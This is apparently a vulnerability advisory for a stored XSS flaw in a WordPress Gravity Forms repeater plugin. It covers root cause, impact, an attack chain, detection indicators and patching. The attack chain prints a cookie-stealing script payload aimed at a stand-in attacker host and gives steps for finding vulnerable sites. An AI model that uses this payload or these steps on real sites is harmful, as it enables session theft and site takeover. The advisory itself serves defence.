CVE-2026-84293: 
WordPress vulnerability analysis and mitigation

CVE-2026-84293 is a Stored Cross-Site Scripting (XSS) vulnerability in the Repeater Fields for Gravity Forms plugin for WordPress, affecting all versions up to and including 3.0.4. The flaw exists in multi-input sub-field types within repeater fields (such as Name, Address, and Checkbox fields) due to insufficient input sanitization and output escaping. It was published on September 9, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability specifically affects multi-input sub-field types within repeater fields; scalar single-input field values are properly escaped using WordPress's esc_html() function at the output stage in version 3.0.4, but multi-input sub-fields (e.g., Name, Address, Checkbox) lack equivalent sanitization. An unauthenticated attacker can submit a crafted form entry containing malicious JavaScript payloads into these sub-fields, which are then stored in the database and rendered unsanitized when any user views the affected page. Vulnerable code paths have been identified in repeater_field.php at lines L401, L474, L543, and L549 (GitHub Advisory, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The scope is marked as "Changed" in the CVSS scoring, reflecting that the injected script can impact users and resources beyond the vulnerable plugin itself (GitHub Advisory, Wordfence).

As of the disclosure date (September 9, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is reported as 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Wordfence, GitHub Advisory).

1. Reconnaissance: Identify WordPress sites using the Repeater Fields for Gravity Forms plugin (version ≤ 3.0.4) by searching for plugin-specific indicators (e.g., wp-content/plugins/repeater-for-gravity-forms/) via web crawlers or tools like WPScan.
2. Locate a vulnerable form: Find a publicly accessible page on the target site that contains a Gravity Forms form with a repeater field using multi-input sub-field types (Name, Address, or Checkbox).
3. Craft a malicious payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, to be injected into one of the multi-input sub-field values.
4. Submit the form: Submit the form with the XSS payload embedded in the vulnerable multi-input sub-field (e.g., the "First Name" sub-field of a Name field within a repeater). No authentication is required.
5. Payload execution: When any user (including an administrator) views the page or entry where the form data is displayed, the injected script executes in their browser, enabling session hijacking, credential theft, or further exploitation (GitHub Advisory, Wordfence).

• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing pages with Gravity Forms repeater field output; unusual redirects originating from WordPress form entry pages.
• Logs: WordPress access logs showing POST requests to pages containing Gravity Forms with repeater fields, with unusually long or encoded field values containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:).
• File System: No direct file system artifacts expected for a stored XSS attack; however, check for newly created or modified WordPress admin accounts or plugin files following potential admin session compromise.
• Database: Gravity Forms entry records in the wp_gf_entry_meta table containing raw HTML or JavaScript in multi-input sub-field values (Name, Address, Checkbox sub-fields) rather than plain text (GitHub Advisory, Wordfence).

Update the Repeater Fields for Gravity Forms plugin to a version later than 3.0.4, which includes the patch released on September 9, 2026. As a temporary workaround, site administrators can disable or restrict access to forms containing repeater fields with multi-input sub-field types until the update is applied. Additionally, deploying a Web Application Firewall (WAF) with XSS detection rules (e.g., Wordfence, Cloudflare) can help block malicious payloads. Administrators should also review existing form submissions for signs of injected content and sanitize any affected entries (GitHub Advisory, Wordfence).

The vulnerability was assigned and disclosed by Wordfence, a leading WordPress security firm, as part of their threat intelligence program. No notable independent researcher commentary, social media discussion, or broader media coverage has been identified at this time, consistent with the low EPSS score and absence of public exploit code (Wordfence).